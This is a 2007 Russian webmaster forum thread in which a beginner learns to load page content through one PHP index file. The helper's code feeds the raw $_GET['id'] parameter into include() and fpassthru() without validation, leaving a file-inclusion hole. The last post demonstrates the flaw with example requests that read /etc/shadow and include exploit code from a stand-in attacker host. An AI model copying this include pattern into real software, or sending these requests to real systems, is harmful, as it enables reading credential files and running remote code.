Имя пользователя:
Пароль:  
Помощь | Регистрация | Забыли пароль?  | Правила  

Компьютерный форум OSzone.net » Компьютеры + Интернет » Вебмастеру » легкая смена дизайна

Ответить
Настройки темы
легкая смена дизайна

Новый участник


Сообщения: 4
Благодарности: 0

Профиль | Отправить PM | Цитировать


Изменения
Автор: Prisoner
Дата: 02-02-2007
Как вставлять разные данные по ссылкам на одну страничку? Замучался уже с этим вопросом. Куча всяких предложений, ничего не работает. Что в этом коде то не так?

Код: Выделить весь код
<HTML>
<HEAD>
</HEAD>
<BODY>
<?php
function foo ($in) {
< !--если не вызывается просто index.php3 то происходит вставка вызываемого файла-->
if ($in != "") {$out=$in;}
< !-- если происходит вызов index.php3 без имени файла, то по умолчанию, вставляется файл main-->
else {$out="main";} return $out;}?>

<!--Мой дизайн и навигация-->

<!--Вызов функции с аргументом - именем файла, запрашиваемым пользователем-->
<?php include (foo($QUERY_STRING)); ?>

<!--Мой дизайн и навигация-->

</BODY>
</HTML>
Теперь я вызываю странички так
http://myserver.ru/index.php3?news
http://myserver.ru/index.php3?links
http://myserver.ru/index.php3?about

А можно и просто
http://myserver.ru/?news
http://myserver.ru/?links
http://myserver.ru/?about

Отправлено: 09:04, 01-02-2007

 

Аватара для Coutty

Кот Ти


Сообщения: 7318
Благодарности: 1204

Профиль | Отправить PM | Цитировать


Непонятно, добавляет ли foo() расширение к файлу. По-моему она просто возвращает то же самое, либо main в случае отсутствия переменной. А для include вроде как нужно полное имя файла. Тогда там написисать:
Код: Выделить весь код
<?php
function foo ($in) {
if ($in != "") {$out=$in.".php3";}
else {$out="main.php3";} return $out;}?>
Тогда на выходе (для передачи в include) будут получаться строки news.php3 и подобные.
Или же данные хранятся просто в файлах без расширения? Тут есть кое-какие неясности...

Может просто попробовать запросы типа http://myserver.ru/?id=news и обрабатывать их как $_GET['id'] ? Или нужно, чтобы одним словом после вопроса?

Отправлено: 09:30, 01-02-2007 | #2



Для отключения данного рекламного блока вам необходимо зарегистрироваться или войти с учетной записью социальной сети.

Если же вы забыли свой пароль на форуме, то воспользуйтесь данной ссылкой для восстановления пароля.


Новый участник


Сообщения: 4
Благодарности: 0

Профиль | Отправить PM | Цитировать


хочу сделать одну страничку, которая содержала бы структуру, а по ссылкам в эту страничку добавлялись данные. хранящиеся в отдельных файликах.
Вот нашел этот код, ещё язык SSI (не понравился). Мне все равно как делать, хочу научится, понять как это сделать, сделать это. А как в $_GET['id'] делается? не можешь пример кодика выкинуть? Благодарен за отклик.

Отправлено: 09:39, 01-02-2007 | #3


Аватара для Coutty

Кот Ти


Сообщения: 7318
Благодарности: 1204

Профиль | Отправить PM | Цитировать


Luke2007, а тот, который был выше не подошёл?

Вот второй пример.
Есть страничка index.php (я полагаю, что .php3 не стоит использовать - сейчас вроде как все серверы(сервера?) поддерживают php4 и выше):
Код: Выделить весь код
<html><head></head><body>
<!--дизайн, навигация-->
<!-- ниже - основная часть: -->
<?php
if ($_GET['id']=="")
   include ("main.txt");
else
   include ($_GET['id'] . ".txt");
?>
<!-- окончание html-документа -->
</BODY>
</HTML>
В этом случае предполагается, что основной контент всех страничек хранится в корневой папке в файлах с именами типа news.txt, links.txt...
Как это работает:
1. Пользователь вызывает сайт http://myserver.ru/
2. Сервер ищет index.php. Находит. Возвращает результат обработки. В данном случае, строка if ($_GET['id']=="") обозначает, что если переменной id не было в url'е (или она была пустая типа: myserver.ru/index.php?id=), то подключается содержимое файла main.txt. Ну, это и до меня вам было ясно ;-)
3. Если запрашивался адрес типа myserver.ru/index.php?id=news, то код обрабатывает строку после else: включить файл, имя которого состоит из того, что содержалось в переменной $_GET['id'] (т.е. в данном запросе это будет news) и расширения (.txt). точка между строками $_GET['id'] и ".txt" обозначает, что нужно соединить первую строку со второй. Получается имя файла news.txt, который подключается в тело html-документа функцией include.
Тут есть, конечно, вариант, что пользователь "случайно" сделает запрос типа myserver.ru/index.php?id=ass, а файла ass.txt у вас не будет. В этом случае html-документ будет содержать только дизайн и навигацию. Основного содержимого не будет. Для проверки на существование этого файла немного модифицируем код (html-разметку я не переписываю):
Код: Выделить весь код
<?php
if ($_GET['id']=="")
   include ("main.txt");
else
   {
   if (file_exists ($_GET['id'] . ".txt"))
       include ($_GET['id'] . ".txt");
   else
       echo "Запрашиваемый документ не найден на сервере. Воспользуйтесь, пожалуйста, навигацией, либо идите нафиг.";
   }
?>
Как видите, изменилось немного. В этом случае, если переменная id содержалась в строке запроса, проверяется, существует ли соответствующий файл. Если да - он подключается, если нет - выводится сообщение об ошибке. Обратите внимание также на фигурные скобки. Хотя, конечно, в данном случае их наличие не обязательно, лучше не пропускать их - чтобы не запутаться в коде =^_^=
Если не нравится, что файлы будут храниться в .txt, можете изменить расширение на любое другое, соответственно изменив и php-код. Но сути это не изменит (защита файлов от прямого просмотра тоже реализуется легко, но это, я думаю, сейчас не важно).

Воть. Это, конечно, довольно примитивное использование php, но для начинающего - самое то. Я сам так учился ;-) Если понравится язык, могу предложить лекции по нему на сайте intuit.ru. Не сказать, что там всё прозрачно описано, но лучше я не видел (в электронном варианте. В текстовом - полно книг хороших и разных).
Это сообщение посчитали полезным следующие участники:

Отправлено: 10:10, 01-02-2007 | #4


Новый участник


Сообщения: 4
Благодарности: 0

Профиль | Отправить PM | Цитировать


Круто, работает. Спасибо! Все так просто. А я пересмотрел, там такие жуткие коды с примерами были. Я синтаксис языка ещё плохо знаю. Есть пару учебников в электронном виде. Реально нравица один, там даже про эту функцию ниче написано не было. Смотрел с кодированием url, ещё не разобрался. Сейчас поюзаю. А то перерыл много, а ничего до конца не работает. Прочитал что эта include вообще никак не защищена от взлома. Точно ничего не знаю, как защищена, как защищать, как взламывать. Это первое, что работает до конца и правельно, благодоря вам. Оргомное спасибо.

Отправлено: 10:33, 01-02-2007 | #5


Аватара для Coutty

Кот Ти


Сообщения: 7318
Благодарности: 1204

Профиль | Отправить PM | Цитировать


Защищена от взлома или нет - меня мало волнует. Можете попробовать вместо include() написать одну из следующих функций:
  1. include_once()
  2. require()
  3. require_once()
Результат будет тот же (в данном случае). Вообще, функции с _once() они защищают скрипт от многократного подключения одного и того же файла. Т.е. если в поключаемом файле описан какой-либо класс или функция, то уже второе подключение этого файла вызовет ошибку. А ..._once() обходят это ограничение - просто не включают повторно ;-)

А хакеры, если взломать захотят - всё равно взломают (опытные, конечно. Новички, пожалуй, с этим ничего не сделают). И даже безумно защищённый код. По правилу "умный в гору не пойдёт - умный гору обойдёт". Т.е. проще сервер вскрыть)))
Но вы же особо секретные данные хранить на сайте не собираетесь?)

Отправлено: 12:47, 01-02-2007 | #6


Новый участник


Сообщения: 4
Благодарности: 0

Профиль | Отправить PM | Цитировать


Да, как говорится, замок - это только для честных людей. Мол чтобы у честных людей небыло соблазну испортить вам сайт. Смотрю, разных функций много и работают то по разному, то одинаково, не во всех учебниках преведины все. Я так понял можно тоже самое сделать и

Код: Выделить весь код
<?php
if ($_GET['id']=="")
   include_once ("new.txt");
else
   {
   if (file_exists ($_GET['id'])) {
       fopen ($_GET['id']);
       fpassthru($_GET['id']);
    }
   else
       echo "Запрашиваемый документ не найден на сервере. Воспользуйтесь, пожалуйста, навигацией, либо идите нафиг.";
   }
?>
Только почему то не работает Моя проблема велика, хочу уметь и знать все сразу, а получается каша в голове.

Еще вопрос. Я таким образом ещё не просто текст подключаю, но и пхп код гостевой книги, добавления новостей. И как я понял, с этим могут возникнуть проблемы, но пока вроде все работает. А что может пойти не так, из за чего произойдет сбой?

Последний раз редактировалось Prisoner, 02-02-2007 в 12:57.


Отправлено: 07:57, 02-02-2007 | #7


Аватара для Coutty

Кот Ти


Сообщения: 7318
Благодарности: 1204

Профиль | Отправить PM | Цитировать


Цитата:
Только почему то не работает
Конечно не работает.
Код: Выделить весь код
   if (file_exists ($_GET['id'])) {
       fopen ($_GET['id']);
       fpassthru($_GET['id']);
    }
Итак, проверили файл на наличие. Далее открываем его. Функция fopen() возвращает указатель на файл. Т.е. его надо где-то сохранить. Пишем так: $file = fopen($_GET['id']. ".txt"); (ну или с другим расширением). Указатель на файл сохранится в переменной $file. Далее уже его нужно использовать в следующей функции. fpassthru($file);
Я точно не знаю, но по-моему даже так работать не будет. Потому что прочитанный файл нужно куда-то сохранить. Так? Пишем $content=fpassthru($file);. Содержимое файла сохраняется в переменной $content. Далее эту переменную отправляем на вывод: echo $content; Хотя, конечно, можно написать и просто echo fpassthru($file); А затем не забываем закрыть указатель fclose($file); - на всякий случай.

Цитата:
Я таким образом ещё не просто текст подключаю, но и пхп код гостевой книги, добавления новостей.
В этом случае никаких fpassthru() и подобных. Код подключается только через одну из четырёх функций include-require. Проблемы могут возникнуть если код большой. Т.е. из подключаемого файла подключается ещё какой-то и т.д. С линейной структурой всё должно быть в порядке. Я, например, всегда использую require_once() - и нет никаких проблем. Сбой будет если одна и та же функция подключается несколько раз (что исключается при использовании require_once() и include_once()) - потому что возникает переопределение функции. Можете посмотреть это, создав в основном коде две разные (или одинаковые) функции с одинаковыми именами.

Отправлено: 11:57, 02-02-2007 | #8


Аватара для Arrest

runs with scissors


Сообщения: 642
Благодарности: 77

Профиль | Отправить PM | Цитировать


даже такому куль-хацкеру как мне видна одна уязвимость c fpassthru((не факт, может ее уже пофиксили) index.php?id=/etc/shadow%00 ) и одна с include/require((тоже не факт)(при allow_url_fopen) index.php?id=http://zloyhacker.ru/exploit.php%00 )
так что по-хорошему нужна еще проверка id на возможность

-------
- Why do you call this version of software 'beta'?
- Coz it's beta than nothing.


Отправлено: 20:53, 02-02-2007 | #9



Компьютерный форум OSzone.net » Компьютеры + Интернет » Вебмастеру » легкая смена дизайна

Участник сейчас на форуме Участник сейчас на форуме Участник вне форума Участник вне форума Автор темы Автор темы Шапка темы Сообщение прикреплено

Похожие темы
Название темы Автор Информация о форуме Ответов Последнее сообщение
Конфигурация для графического дизайна и 3D un-named Выбор отдельных компонентов компьютера и конфигурации в целом 10 11-03-2008 00:20
Небольшие изменения дизайна BigMac О сайте и форуме 182 10-07-2006 15:33
Где взять шаблоны веб дизайна? Vlad Drakula Вебмастеру 5 25-10-2004 15:08
В моих работах нет не дизайна не криатива. Xcode Вебмастеру 8 18-09-2003 20:07
Генерилка дизайна Rom K Вебмастеру 11 04-10-2002 08:05




 
Переход